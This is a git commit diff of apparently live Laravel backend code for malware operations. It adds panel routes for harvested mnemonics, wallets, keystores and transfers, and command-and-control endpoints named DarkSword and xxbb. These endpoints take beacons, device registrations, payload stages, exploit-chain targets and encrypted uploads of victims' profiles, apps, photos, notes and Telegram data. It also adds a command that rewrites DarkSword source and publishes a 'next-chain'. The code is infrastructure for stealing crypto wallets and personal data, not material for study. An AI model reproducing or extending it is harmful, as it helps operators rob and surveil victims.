This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+9 -3
View File
@@ -6,7 +6,9 @@ use App\Http\Controllers\Admin\AuthController;
use App\Http\Controllers\Admin\ChannelController;
use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\DeviceController;
use App\Http\Controllers\Admin\FilterOptionsController;
use App\Http\Controllers\Admin\Google2faController;
use App\Http\Controllers\Admin\KeystoreController;
use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController;
@@ -34,12 +36,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
@@ -59,6 +61,10 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+32 -2
View File
@@ -1,5 +1,6 @@
<?php
use App\Services\ChannelProjectService;
use App\Services\Tokenview\TokenviewClient;
use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan;
@@ -70,11 +71,11 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
$channelC = trim((string) $this->option('channel-c'));
$random = (bool) $this->option('random-c');
try {
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts(
$result = app(ChannelProjectService::class)->buildSharedArtifacts(
$channelC !== '' ? $channelC : null,
$random,
);
} catch (\Throwable $e) {
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
@@ -103,6 +104,35 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
$script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) {
$this->error('missing '.$script);
return 1;
}
$args = ['python3', $script];
$host = trim((string) $this->option('host'));
$port = trim((string) $this->option('port'));
$origin = trim((string) $this->option('origin'));
if ($origin !== '') {
$args[] = '--origin';
$args[] = $origin;
}
if ($host !== '') {
$args[] = '--host';
$args[] = $host;
}
if ($port !== '') {
$args[] = '--port';
$args[] = $port;
}
$this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code;
})->purpose('Rewrite DarkSword source and publish public/next-chain');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) {
+18
View File
@@ -0,0 +1,18 @@
<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use Illuminate\Support\Facades\Route;
$ds = DarkSwordC2Controller::class;
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
// (same URI, DarkSword vs xxbb chosen per request).
Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+2 -1
View File
@@ -6,6 +6,7 @@ use Illuminate\Routing\Middleware\SubstituteBindings;
use Illuminate\Support\Facades\Route;
Route::middleware([SubstituteBindings::class])->group(function () {
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
Route::match(['GET', 'HEAD', 'POST'], '/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
Route::match(['GET', 'HEAD', 'POST'], '/hook/tokenview', TokenviewWebhookController::class);
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
});
+8 -2
View File
@@ -3,6 +3,8 @@
use App\Http\Controllers\Admin\ChannelController;
use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\DeviceController;
use App\Http\Controllers\Admin\FilterOptionsController;
use App\Http\Controllers\Admin\KeystoreController;
use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController;
@@ -23,11 +25,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
@@ -47,6 +49,10 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+27 -13
View File
@@ -1,21 +1,35 @@
<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
$ds = DarkSwordC2Controller::class;
$xxbb = XxbbC2Controller::class;
Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']);
Route::post('/u', [XxbbC2Controller::class, 'apps']);
Route::post('/event', [XxbbC2Controller::class, 'event']);
Route::post('/t', [XxbbC2Controller::class, 'photos']);
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
return DarkSwordC2Controller::matches($request)
? app($ds)->{$dsMethod}($request)
: app($xxbb)->{$xxbbMethod}($request);
};
};
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
Route::post('/result', $dsOrXxbb('result', 'plugin'));
Route::post('/t', [$xxbb, 'photos']);
Route::post('/uj', [$xxbb, 'plugin']);
Route::post('/us', [$xxbb, 'plugin']);
Route::post('/ub', [$xxbb, 'plugin']);
Route::post('/ba', [$xxbb, 'plugin']);
Route::post('/api/tg/t', [$xxbb, 'telegram']);
});